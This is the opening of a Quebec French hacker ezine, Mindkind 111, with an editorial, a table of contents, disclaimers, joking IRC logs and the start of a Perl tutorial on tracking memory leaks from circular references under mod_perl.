
        *      .    ,       _________            |       \|/
     .     .    |  .       |_________|    ().   -*-     -=*=-       __ _ _ _     ___ _ __     __ _  __
  `; 	 ,    --o-- 	.  .---------.           |     , /|\       /        |   /        |   /        | 
 .   .  	|    _     |         |           |         *   .  /         |  /         |  /         | &
     .--- -- -.         .-'--- --.   |   x   )                   /___       | /___       | /___       ;
     |         '       '         |   .             .--- --- -.       |      |     |      |     |      | 
  |  '          \_____/	         |   |----.   .----|          \      ;      :     |      |     .      |
  .  |                           |   |     \  |    |       __  \     |      |     :      .     ;      :   
 ;'. |                     ;     |   |      '-'    |       \ \  '    |      ;  *  |      :   , |      .
 -.' .			         |   |             |          ' |    .      .     ;      .     .      | 
  |  |        			 .   |     	   |          | |    |      .     |      |     |      | *
     |        			 '   |             :          | |    |      '     '      ' .   '      ;  
     |         __     __         |   |         	   |          ' |  __|______|_____|______|_____|      |_ _
 (*( .        |  \___/  |        '-.-'     .-.     ;       /_/  ' |   		             __|      |__  
     |        '         '        | |       |  \    |           /  |     MiNDKiND  1 1 1     |            :
 .   |        |    *    |        : '-------'   '---;          /   |    			    '--- -- -----'
     '--------'         '--------'                 '---- ----'    |     "quand 111 rime avec a ownz"
                           ________    -()-    .---- ----.        |                  
     .--- --- --.   .--- -|________|---.   .---'-         \    *  |________________  _______ _ __ _____ _ _ *_
     |          |  /         /   |      \  |     |     _   \   |                    
 (*) |          '-'       .------'-.     '-'     |    \ \   '      &.            8*         . . , + 
     .			  :        |             ;       '  |            -(**)-     . . .,   = 
     :     .              |        |       .     |       |  |     
     |                    ;        .             .       |  |     "Lots of people talk and few of them know"                  
     '                    |        ;             |       .  |                                 
     :                '   |        |             :    /_/   .        		 	     - Led Zeppelin.
     .                    |        :             |         /     
     |         .-.        ,        |    .-.      :        /     (*)       _
     |         |  \       |        .    |  \     |-------'               (*)- - -- -- -- - 
     '---- ----'   '--- --'        |----'   '----'                        
                          |        | 
                          '---- ---'  .  :`                              ,_   )    :   '    ,       
  *    .---. .      .        x          ,  .- =-     `.       ,.  '  ` ,    
     ,'  /. '.       								\|/
     :    ) ;`   .      .        x          ,  .-=+=-      .       ,. ,'  ` ,  -*-_
     ',  -  .' 					.				/|\
       '---'          
       `
      .--------- - ----------------- -- ----- ---- --- -------- ----------- ----------- - -- - -------
     : mindkind 111.  mindkind 111.  mindkind 111.  mindkind 111.  mindkind 111. mindkind 111. mindki 
     '------ - ---------- --------- - -------- -------------- - - -- - -- - ------------- - - -

	
	On vous l'annoncais il y a  peine 2 ezine, L'empire debarque. Domage pour ceux  qui 
il sagissait d'une mauvaise nouvelle, mais aujourd'hui  la lumire de notre 7eme ezine, j'ai 
l'infini et trs immence plaisir ( en froller l'indcence et labus de power  trip)  de  vous 
annoncer que c'est maintenant chose faite, tablie,  reconnue  et  incontest.  L'Empire  est 
dbarquer....et yavais pas un chat sur la plage pour  nous empch de nous install (mme pas 
un poux), mais ne vous en faite pas, on est habitu. Par contre si leffort de  guerre  fut   
peu prt null (mis  part les attaques par  proxy  floodbot  d'un  crtin  de  francais)  les 
efforts de contruction (j'aurais bien aimer parler de reconstruction, mais comme y'avais rien 
 dtruire...) eux non pas t laissez de cot, on  c'est  construit  de  beau  joujou  qu'on 
aimerait bien vous dires qu'on a, mais ca ne serais  pas  trs  stratgique  de  notre  part. 
nanmoin on  pas laissez nos fans et notre public en reste, avec la sortie d'un nouveau site 
web  plus  dynamique  et  mieux  adapter  a  nos besoins (et on vous prpare pour bientot une 
version 3.5 eye  candy  ainsi qu'un update majeure du contenu). Site web qui d'ailleur est un 
succs si on considre  l'augmentation de 75% du nombre de visites quotidienne (il est fort a 
parier que le nombre de visites dpassera bientot la barre des 50000). 


	Vous  l'attendiez  depuis le mois de fvrier. Fidle  notre habitude on vous a faite 
poirroter  2  3  mois supplmentaire avant de vous le donner. Mais vous lavez maintenant sous 
vos yeux, Mindkind 111 also know as : Mindkind ca owns. Une  brique de 25 articles (ecrit par
20 auteurs diffrents ;]),  pour  une  totalit  de  500k.  Qui  en  fait l e plus gros ezine 
francophone a voir le jour depuis  1993.  Un  tel fait d'arme aura t rendu possible grace  
la cration de la fdration  hack.fr  qui  a  consolid  l'union d es troupes qubcoise (la 
premire tape de ce rassemblement  en  unifiant  en  2000   les  restants  de  iga,  nvrsee, 
underdark et pyrofreak sous la bannire de mindkind) et    nous donn une voie en france via 
le support  du  groupe  hackever.  Le  nouveau  Pyrofreak (patoff, mulder, nuclear (lancien = 
neuro, endrix, tekrebel et kevorkian))  ainsi  que  hackever  (un  groupe  francais)   auront  
participer    l'laboration de se ezine, ainsi que de nombreux indpendant  de  passage  sur  
#hack.fr  pour  porter  la  participation  des  non membres de  mindkind    plus  de  1/3 du 
ezine.  Un  record jusqu'ici, dmentissant tout argumant disant que  mindkind  est  un groupe 
ferm ddi  la recherche du pouvoir. Dsol mais on s'empchera pas d'avancer pour ceux qui 
on peur  du  changement.
	

	Avant de vous laissez au topic qui va vous dmontr pourquoi  mindkind,  ca  ownz  je 
dois avertir tout les polititiens, comptables, agent constabulaire, police de  carton,  agent 
du fbi, de la cia, du scrs, du mi6, pompier, gardienne de garderie a 5$,  joueur  de  hockey, 
chauffeurs   de  taxis  import,  vendeurs  de  souvlaki,  infirmires  naives,  porteurs  et 
porteuses  de  collant,  mangeurs  de  gras  trance,  danseuses de baladi, ovni, doublures de 
r2d2, worshipeurs de  rael,  buveurs  d'eau prrier, amateurs de zeste de citron, conducteurs 
de ppine, critiques autodidactes, fidle de bndict  XVI,  brasseurs  de jello, va nu pied, 
ptit gros dla classe, ou tout tre qui est considr  tord ou   raison  comme  un  osti  de 
fuck, et bien ce ezine n'est pas faite pour vous et la  lecture  pourrais  vous  causez  des 
douleurs intense  l'arriere du crane et dans le millieu du genoux gauche. 


et Si certain propos de ce magazine vous offences, ben, c'est plate mais c'est ca!
	


 _______________________   ,    .  , _ +__ ,   .    ;  .x  ________________________
 \ ____________________\\`__________| |/ /______________  /                      |\\  ;  .  , `  .
 ,\\_///__ //_ /// / _/ \\\   |\  /||   /    / | / | / |\'\                      | \\     +    ;
. / ////_///__/// / /__  \\\  | \/ ||  \  __ | | | | | | \ \                     | {\\ `  : .      `
 / ///___///  // /_____\  \\\ ||\/|||   \ ~~ | | | | | |  \`\                    | {}\\     x   ' .
/ //   from the stars  ____/ \||  |||_|\_\ __|_|_|_|_|_|___\ \__________________ | {} \\ `     '   
\//     _______________/   .  \|  ||  ____/ '   . \  {}  /   `\  {}  / ,  :  `  \| {} |/   | `   X,
`\_   _/ .    . x   '   `    ; \_ ||_/,  `    +    | {} | . +  | {} |   x   .  + | {} | . -+-  .
   \_ \  X :`  ,  '   ; +  .  , / _/ ,  x. ` ,  ` ;|\()/|     :|\()/| +  . ,     |\()/|    |  ,   ;
 `  '\\_`_____________________ _//_______   ____ _  \||/ ' | ,  \||/___ _______`_ \||/   .           
' ;  \_ |[O1] un affaire de lemurien                 ||  -=+=-   ||      C4-       ||  x     . :     
  . '  \|[O2] une 6eme affaire de perl               ||  . | , ` ||   Nothing94   [__]     `       . 
,    .  |[O3] un affaire de nas                     [__]~~~~~~~~[__]   Nexact      ||  ,`.  ; '      
  .--,  |[O4] Un affaire d'ergonomie software        ||   +   .  ||      h3       [__]      x   +    
.`( ).',|[O5] Un affaire de thread                  [__]~~~~~~~~[__]   Phawnky     || ` ,      .  ,  
:'`  =':|[O6] Un affaire de spying                   ||  ,  . '  ||    Mr_Peuch   [__]   _()_       
`.'= ".'|[O7] un affaire de routing                 [__]~~~~~~~~[__]   Wyzeman     ||  ((OVNII)) x   
` `--`  |[O8] un affaire de shellexecute             ||   ;  x"  ||     Waxaw     [__]  ``---''      
   x '  |[O9] Un affaire de fake-bnc                [__]~~~~~~~~[__]   Phawnky     || . `     `    , 
 ,    . |[1O] Un affaire de philosophie              ||   ' ` ,  ||    Qwzykx     [__]        .      
    ;   |[11] Un affaire de javascript              [__]~~~~~~~~[__]  Liondejuda   ||  + : `  .;'``' 
 . +   .|[12] un affaire de reverse shell            || . X` ,'  ||      __2      [__]       ;` ;`;  
        |[13] un affaire de scurit irc            [__]~~~~~~~~[__]    Ninja      ||  ,   ;'   `\ ' 
   "  , |[14] un affaire de cops                     ||  .  ' +  ||    Wyzeman    [__]   .'   +,     
    |   |[15] un affaire de modem adsl              [__]~~~~~~~~[__]   Nuclear     ||   .;  |  /``   
 . \|/  |[16] un affaire de trojan                   ||   ;   .  ||    FlUxIuS    [__] .; .'`.;  `   
 --=+=--|[17] un affaire de cryptographie           [__]~~~~~~~~[__]   Steck       ||  : / .  `      
`  /|\ `|[18] un affaire de bot irc scriptable php   || .  x' `  ||    Wyzeman    [__] :\|   '`      
    |   |[19] un affaire d'esploration urbaine      [__]~~~~~~~~[__]     vn        ||  `;.`'\.     :'
 ` ;  ' |[2O] un affaire de ntfs                     ||  . '  ,  ||    FlUxIuS    [__]. `.  / `;    ;
,   .   |[21] un affaire d'antenne qui tourne       [__]~~~~~~~~[__]    n0p        ||    `;   .      
  '   : |[22] un affaire de google                   ||   .  '   ||    loytie     [__]  '  ; ;       
 .   '  |[23] un affaire de password                [__]~~~~~~~~[__]  Lastcall_    ||  +   `:.       
  X .  _|_                                           ||    `  ;  ||               [__]    .   `;. .. 
      / | \_                                         ||  '+      ||                ||  ' :       ` ``
 '`  _// \__\___________  _________   _____  ___ _  /||\ : .    /||\ __ ______ __ /||\      x`     `
  ; / _/   x  ` `   ;    "  , + \_ \  .   :     `  |/()\|    x'|/()\|.    '   ,  |/()\| .  .  ;     ,
 , _//   ` : ,   +   . ` x .   `  \\_  , X `  + ,  | {} | ` ,  | {} |  ()  ;`    | {} |   -+-   ` '  
 _/  /____________________________\  \____________/__{}__\____/__{}__\_____ , + /| {} |\ ; `  . :  ,
|                                                                          \___/ | {} |\\  .  ,   . 
|                      _____________________        Mindkind ca ownz             | {} | \\      X. ;
 \____________________/                     \                                    | {} | //  .  ,  
                                             \___________________________________|____|_/ '       '


(ca fait tu pas star controle 2 a votre gout ?) (hein qwzykx ;])!!!



	Comme expliquer plutot, le ezine de mindkind n'est plus  leffort  d'un  seul  groupe. 
Pyrofreak y ayant participer d'un article, et le nouveau groupe francais, hackever, a fournis 
4 articles dans ce ezine. tant donn l'importance de leur  contribution,  nous  leurs  avons 
aussi laissez une parti de notre disclaimer afin qu'il puisse faire valoir leur droit :


             0001001000000100000001001000001000000100010000000000010
             010      __  __           __  _____                 000 
             000     / / / /___ ______/ /_|__  /   _____  ____   001  
             001    / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/  010
             000   / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /      000
             000  /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/       001
             010                                                 000
             0100010001000000100001001000001001000000010000010000100
     
          http://hackever.n0ne.org

DISCLAIMER:

Tous  ce  qui  est contenue sur ce site est la pour information, distraction, et pour  rendre 
compte des dangs d'un systme mal configur .

L'quipe  de  hackever  et  son  hebergeur  ne  sont  en  aucun  cas rsponsbles des actes ou 
agissements  quel  qu'en  soit  la  sorte, qui pourraient survenir aprs la lecture  des  ses 
articles, de sont forum et son chan irc.

L'article 323-1 du Code Pnal Franais Rprime les intrusions et le maintient dans  un sytme 
informatique .

Conformment  l'artcile 323-3 du Code Pnal Franais les  pennes  requises  sont  un  an  de 
Prison et 100 000 Frs d'amende et s'il modifie les donnes , Les peines sont  multiplies par 
trois .

Hackever vous invites donc a rspecter la loi, si vous ne comprenez  pas  ou  n tes  pas  en 
accord avec ce qui est crit ci-dessus ne lisez pas nos articles, notre  forum,  et  ne venez 
pas sur notres chan irc.



                                                                               hackever team.


Pour rejoindre Mindkind sur le front line :


NETWORK 	CHANNEL   	Average user

freenode 	#hack.fr  	4

recycled 	#hack.fr 	3 

undernet	#hack.fr 	66 
		#linux.fr 	36 
		#programmation 	29  

worldnet 	#hack.fr 	5   

efnet 		#hack.fr 	6  

dalnet		#programmation	9



	Bon, avant de vous laissez tranquille, je vais me payer un petit plaisir. Ca fait  un 
peu ripoff, mais d'un autre coter c'est quand meme tres actuel. Ceux  qui sont nostalgique de 
IGA risque de sourire,  jinclus ici une parti "modifier" de ma contribution au disclaimer des 
ezine IGA en 98. 


La GRC vous surveille quand :


1)  apres  la  parution de votre 7e E-zine ya une echafaudage  pour  nettoyer vos vitre alors 
    que vous demeurer au sous-sol 

2)  apres  la parution de votre 7e E-zine, Un technitien vien  verifier  votre telephone et y 
    insert un micro.

3)  apres la parution de votre 7e E-zine, Un  plombier  vient  verifier le PH de votre eau de 
    toillette.

4)  apres la parution de votre 7e E-zine, vous appercevez une caravane avec une skin de truck 
    de poubelle venir fouillez vos dechet quotidien. 

5)  apres la parution de votre 7e E-zine, binf  vous  revele  sa  reel  orientation  sexuelle 
    [so scaring]

6)  apres  la  parution  de votre 7e E-zine, le bar dans lequelle vous allez toujours veillez 
    est maintenant vide mi a par le type au lunette fumer assis dans le fond. 

7)  apres la parution de votre 7e E-zine, on construit un dunken donut a coter de chez vous. 

8)  apres la parution de votre 7e E-zine, on fait un gros champs de construction deriere chez 
    vous ou tout les travailleurs porte un skin de veston cravate.

9)  pendant le mois suivant la sortie du mindkind 110, l'ange assis sur le sapin est habiller 
    en bleu et porte une paire de menote

10) Vous servez de reference dans les conferences policiere locale sur le hacking.


avant de lire ce manuscrit quelque rgle de scurit sont a prescrire


1) nous ne somme pas responsable des maux de tte attrap par ceux qui auront  tenter de lire 
   le  magazine  la  tte    l'envers  pour pouvoir demasquer le message secret du capitaine 
   Cypher!

2) nous ne somme pas responsable de vos defaillance cervicale. 

3) si vous utilisez une version papier du magazine, mettez des gants pour pas vous coupez les 
   doigts.

4) se magazine contient assez de gras trence, cholesterol, mercure  et  agent de conservation 
   pour tuer sur le champs un cheval qui l'aurais avaler par erreur.

5) il est recommand de boire beaucoup d'eau durant la lecture de se magazine, nous ne sommes 
   pas responsable des cas de mort par dhesydratation  survenu durant une lecture inintrompu 
   de se magazine.  


                                                               un lecteur clon en vaut deux. 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O1]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Le Patrimoine Lmurien        ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: regarde cherie c'est ca un lmurien                     ]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[      C4-     ]=\:\ _//     
                                                  \__\________________________/__/   





	Depuis le temps que vous nous demandez c'est quoi un lmurien et qu'on  sait pas trop 
comment vous expliquer ca. On ses donc deplacer  lmurland avec  nos  keylogger  et on les  
observer dans leur habitat naturel, en voici un dans sa box. 


<init_null> si a ce moment prsent quelqun rentre dans ma chambre
<init_null> i va me trouver weird ternelement
<HolyGod> ds quel position tu es
<init_null> jme fais secher les cheveux avec une grosse serviete blanche autour de ma tete
<init_null> ya dla musique hindi qui joue
<init_null> pis jgosse sur un afaire pour bretter de lhydrogen
<c4-> cest juste un mauvais passage de ta vie
<c4-> les choses vont sarranger
<HolyGod> pour bretter de l'hydrogen?
<init_null> haha
<c4-> ;P
<HolyGod> ta quel genre de "bebelle"
<HolyGod> pour sa chez vs?
<init_null> ca prend pas gfrand chose pour faire de lelectrolyse
<Wyzeman> ca lair de prendre un sechoir a cheveux pcq ta pu lair den avoir un
<init_null> heh


Les  lmuriens  se  runisse aussi le soir pour accomplir certain rituel, nous  avons  eu  la 
chance d'en capturer quelque moment, avant de devoir senfuir,  repousser  par  une attaque de 
vieille bottes pch prt de l'usine de traitement  d'eau locale (demander moi pas comment on 
a su ca ;]).

* c4--_ sings the bluez
<c4--_> lala dim dim
<c4--_> laa laal laa
<c4--_> asti jai perdu le beat
<c4--_> jme reprend 
<c4--_> Annie toi tu fais la voi en background
<c4--_> Wyzeman joue le solo apres le 5ieme refrain 
<c4--_> pi phawnky contente toi detre sexy
<c4--_> 1 2 3 
<Annie> lalila uhhhh
<c4--_> la la dim dim la 
<c4--_> lililmlim
<Annie> lalila uhhhh
<Annie> hiiihooo
<Wyzeman> moo moo moo mooo mooooooo meuh 
<XeliteX> pwet!!!
<Wyzeman> (solo
<c4--_> asti cetais en plein ca 


et puis la plus par du temps un lmurien c'est juste quelqu'un de ben bizard.

<c4--_> asti sorter les camera, on va faire la 1001ieme emission de virginie
<phawnky> c4--_: rofl
<Wyzeman> celle ou elle se fait de virginifier
<phawnky> mature pr0n
* phawnky salive.
<Wyzeman> par sont mechan docteur poillus
<c4--_> qui en realiter etait son fils
<c4--_> adopter et perdu la meme annee
<phawnky> hahaha
<Wyzeman> elever par un faux marchant de vrai esclave
<Wyzeman> comme si cetais le fils de sa vache
<c4--_> savourant chaque instant intime avec celle-ci
<Wyzeman> comme un singe sur une corde de bois
<c4--_> ha
<Wyzeman> weird
<c4--_> bizzard en effet
<Wyzeman> c pour ca jecoute pas virginie
<Wyzeman> c trop fucker pour moi


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |<MADGiK> c le mindkind #7  :P                             \\_  \_ \   \\_ M  ; . X
 || |<Wyzeman> de?                                             \_ \   \\_  \_ \ K      
 || |<MADGiK> mindkind 111                                       \\_  \_ \   \\_ -  : '
 ||`|<MADGiK> c du binaire :P                                    \_ \   \\_  \_ \ 1   
 || |<MADGiK> c ca tu avais comme ide ?                           \\_  \_ \   \\_ 1  + 
 || |<MADGiK> ce pourrait-il ?                                     \_ \   \\_  \_ \ 1   
 ||'|<Wyzeman> ben                                                   \\_  \_ \   \\_  x 
 || |<Wyzeman> oui                                                   \_ \   \\_  \_ \  `
 || |<Wyzeman> 1 10 11 100 101 110 111                                 \\_  \_ \   \\_  
 ||,|<Wyzeman> 1 2 3 4 5 6 7                                           \_ \   \\_  \_ \.
 || |<MADGiK> c ca jme disais :P                                         \\_  \_ \  _\\_  
/ | |<MADGiK> jvnais dcatcher                                            \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Bon tout le monde a compris la ?                                      ]=\:\  |
  \__\__________________________________________________________________________________/



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O2]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[  la conqute du chameau #6   ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: votre chameau souffre-t-il d'alzheimer ?                ]=\:\    \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Nothing94   ]=\:\ _//     
                                                  \__\________________________/__/ 


+-------------------------------------------------------------------------------------------+
| Web     : nothing94.250x.com                                                              |
| Email   : philippe.cote@usherbrooke.ca                                                    |
| Version : 1.2.0.2                                                                         |
+-------------------------------------------------------------------------------------------+

+-------------------------------------------------------------------------------------------+
| Table des matires                                                                        |
+-------------------------------------------------------------------------------------------+

01 - Objectif
02 - Introduction
     * Exemple 0x0001 : Rfrence circulaire
     * Exemple 0x0002 : Tie
     * Exemple 0x0003 : Hriter de Tie::StdScalar
     * Preuve 0x0001 : Les modules Tie sont cons
03 - Ce que nous voulons
04 - Devel::Monitor
05 - Utilisation de Devel::Monitor
     * Exemple 0x0004 : Utilisation de "monitor"
     * Exemple 0x0005 : Utilisation de "monitor"
06 - Quelques problmes avec les constantes
07 - Outil d'insertion de moniteurs
08 - Outil de visualisation d'erreurs
     * VerifyMonitor.pl
09 - Comment rgler les rfrences circulaires
10 - Impossible de weaken-er un objet tied
     * Preuve 0x0002 : Test de base
     * Preuve 0x0003 : mod_perl
     * Preuve 0x0004 : Assaut final
11 - Utilisation de Devel::Monitor
     * Exemple 0x0006 : Utilisation de "print_circular_ref"
12 - Impossible d'utiliser les rfrences des objets tied
13 - Conclusion
14 - Signature
15 - Post-scriptum

+--------------------------------------------------------------------------------------------+
| Chapitre un                                                                                |
|                                                                                            |
| Objectif                                                                                   |
+--------------------------------------------------------------------------------------------+

Vous  avez un site web en Perl qui comprend beaucoup de lignes de code. Vous voulez  le faire 
rouler sur mod_perl, mais il y a des memory leaks. Vous avez donc  besoin  d'un  outil   pour 
trouver et supprimer les rfrences circulaires.

+--------------------------------------------------------------------------------------------+
| Chapitre deux                                                                              |
|                                                                                            |
| Introduction                                                                               |
+--------------------------------------------------------------------------------------------+
Bonjour groupe,

tes-vous en forme ? Ouuiiii
J'ai dit, tes vous en forme ? OOOUuUUUiiiII

Bon, nous pouvons commencer.

Tout d'abord vous savez ce qu'est une rfrence circulaire...

+--------------------------------------------------------------------------------------------+
| Exemple 0x0001 : Rfrence circulaire                                                      |
+--------------------------------------------------------------------------------------------+
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4
5 {                 #Nouveau scope
6     my $a;        #Une variable nomm "$a"
7     $a = \$a;     #La variable $a pointe sur la rfrence de la variable $a
8 }
+--------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0001 : Rfrence circulaire                                                |
+--------------------------------------------------------------------------------------------+

Lorsque  le  scope  se  termine,  Garbage et Collector ont toujours une discussion enlevante. 
Voici le log de leur conversation  la ligne 8.

<Perl> Ok les gars, faites le mnage.
<Garbage> Hey, jveux deleter $a, cte variable l me gosse
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste  deleter cette variable l aussi
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste  deleter cette variable l aussi
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste  deleter cette variable l aussi
<Collector> Non caliss, ya $a qui l'utilise
<Garbage> Ben on a juste  deleter cette variable l aussi
<Collector> Non caliss, ya $a qui l'utilise
<Perl> Osti que vous tes fatiguant, farmez vos yeules l

Donc,  on  voit  que  Garbage et Collector n'arrivent pas  s'entendre sur la bonne  dcision  
 prendre. Ce qui fait que Perl, le mdiateur, dcide de les  faire  taire.  Toutefois,   la 
ligne 9, qui est la fin du programme, Perl va puncher  sa  carte  et  s'en va boire une bire 
 la maison. Il n'existe donc  plus d'autorit en ce bas monde donnant libre accs  nos deux 
travailleurs.

<Garbage> Hey, Perl est parti, moi jdelete $a, l jtann
<Collector> Non caliss, ya $a qui l'utilise
*** Garbage delete $a ***
<Garbage> Tin, ma job est faite, jmen va moi too
<Collector> Ok, on va tu boire une bire ?

Bon,  vous  connaissez maintenant les rfrences circulaires. Une variable n'est pas dtruite 
tant qu'une rfrence pointe dessus. Toutefois, si notre programme  doit rouler 24 heures sur 
24, les pertes de mmoire de ce genre peuvent tre  fatales.  C'est  justement  le  cas  avec 
mod_perl sur apache, qui  va  conserver  en  mmoire le processus pour acclrer les temps de 
rponses au client. Nous  avons  donc  besoin  d'outils  pour dtecter ces pertes de mmoire. 
videmment si vous  programmez tout seul dans votre cave, vous pouvez vous arranger parce que 
vous connaissez votre code source en entier, mais si vous tes une quipe de programmeurs, la 
tche peut devenir plus fastidieuse. Certaines possibilits s'offrent  vous.

- Utiliser Apache::Leak pour mod_perl 1.x (mod_perl 1.99 est considr mod_perl 2.x)
- Utiliser Devel::Peek qui ne fait pas la job dont vous avez besoin
- Utiliser Devel::Leak qui ne fait pas la job dont vous avez besoin
- Utiliser Data::Structure::Util qui fait parfois des segmentation fault en
  utilisant la fonction has_circular_ref et qui est assez incomplet

Notez galement que le problme de ces modules perl est qu'il vous donne  des  informations  
l'endroit  o  vous  mettez votre ligne de code. Donc, il  faut  dterminer  manuellement  la 
meilleure place o positionner la validation.

Vous ne pouvez galement pas utiliser valgrind (Un dbuggeur mmoire *nix)  parce  que  votre 
process doit rester en mmoire et  doit  donc  tre  excuter avec  mod_perl.  Autrement,  le 
process se termine, et perl libre la mmoire  la toute fin, ce dont vous ne voulez pas.

Cependant, il existe quelque chose de bien sympathique en Perl, que l'on appelle tie ! L'ide 
d'un tie, est de mettre une cravate  notre variable pour cacher  les choses indsirables. Un 
politicien porte toujours une cravate, pour cacher ses vrais penses. En d'autre termes, tous 
les accs    la  variable  vont  passer  par  la cravate. Cette cravate peut donc dcider ce 
qu'elle fait de la requte.

+---------------------------------------------------------------------------------------------+
| Exemple 0x0002 : Tie                                                                        |
+---------------------------------------------------------------------------------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4
5  {
6      my $a;                    #Une variable nomm "$a"
7      tie $a, 'Tie::StdScalar'; #On pose une cravate de type scalaire standard
8      $a = 'something';         #La mthode standard STORE va tre appele
9                                #et celle ci va dcider de ce qu'elle fait.
10                               #Elle pourrait par exemple dcider d'effectuer
11                               #l'affectation tel qu'espre, ou bien
12                               #empcher l'affectation en prtendant que la
13                               #variable est read-only. Ceci tant aux
14                               #besoins du programmeur.
15 }   #$a est dtruite ici, donc la mthode standard DESTROY va tre appele.
16     #Encore une fois, nous pouvons faire ce que nous voulons.
+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0002 : Tie                                                                  |
+---------------------------------------------------------------------------------------------+

Nous voyons que le tie nous permet d'englobber une variable et de faire ce que  nous  voulons 
avec les transactions effectues. Dans notre cas, nous avons  besoin  de  savoir lorsque   la 
variable est dtruite (DESTROY). Donc nous pouvons imprimer  un beau message disant que notre 
variable est dtruite. Pour ce faire, nous  pouvons hriter de l'objet Tie::StdScalar de base 
comme ceci.

+---------------------------------------------------------------------------------------------+
| Exemple 0x0003 : Hriter de Tie::StdScalar                                                  |
+---------------------------------------------------------------------------------------------+
package TestScalar;
use Tie::Scalar;
use base 'Tie::StdScalar';

sub DESTROY {
    print STDERR "TestScalar::DESTROY : $_[0]\n"; #Imprime l'objet dtruit
}
+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0003 : Hriter de Tie::StdScalar                                            |
+---------------------------------------------------------------------------------------------+

Cependant, cet exemple va imprimer des choses comme :
TestScalar::DESTROY : SCALAR(0x12345678)



Ce qui ne rvle en rien la variable qui va tre dtruite, si nous appliquons un  tie sur 500 
variables.

Nous  avons  donc besoin d'un outil un peu plus puissant. Donc,  j'ai  fait  un  monitorizeur 
(nouveau mot) qui va tie-er (tie-er (verbe) : appliquer une "tie" sur une variable) n'importe 
quel type de variable (SCALAR, ARRAY, HASH, ...).

De plus, je veux galement pouvoir donner un nom  la variable que je monitor.

Je voudrais faire ceci : monitor('ma variable $a' => \$a);
qui en fait excuterait ceci : tie $a, 'UnModuleQuelconque';
tout en conservant le nom "unique" de ma variable monitore pour les prints.

Notez que les modules Tie par dfaut sont basiques :
+---------------------------------------------------------------------------------------------+
| Preuve 0x0001 : Les modules Tie sont cons                                                   |
+---------------------------------------------------------------------------------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Tie::Array;
5
6  my @a = (1,2,3);
7  print '1 - ' . join(', ',@a) . "\n";
8  tie @a, 'Tie::StdArray';
9  print '2 - ' . join(', ',@a) . "\n";
10 untie @a;
11 print '3 - ' . join(', ',@a) . "\n";
+----------------------+
| Rsultat             |
+----------------------+
1 - 1, 2, 3
2 -
3 - 1, 2, 3

+----------------------+
| Explications         |
+----------------------+

Les  modules  Tie  de base ne conservent pas les valeurs d'origines de la  variable.  Ce  qui 
implique que pour nos besoins, il faudrait redfinir le  contenu  des  variables    bien des 
endroits, aprs avoir execut le tie. Il faudrait convertir ceci :

my @a = (1,2,3);
tie @a, 'Tie::StdArray';

en ceci :

my @a;
tie @a, 'Tie::StdArray';
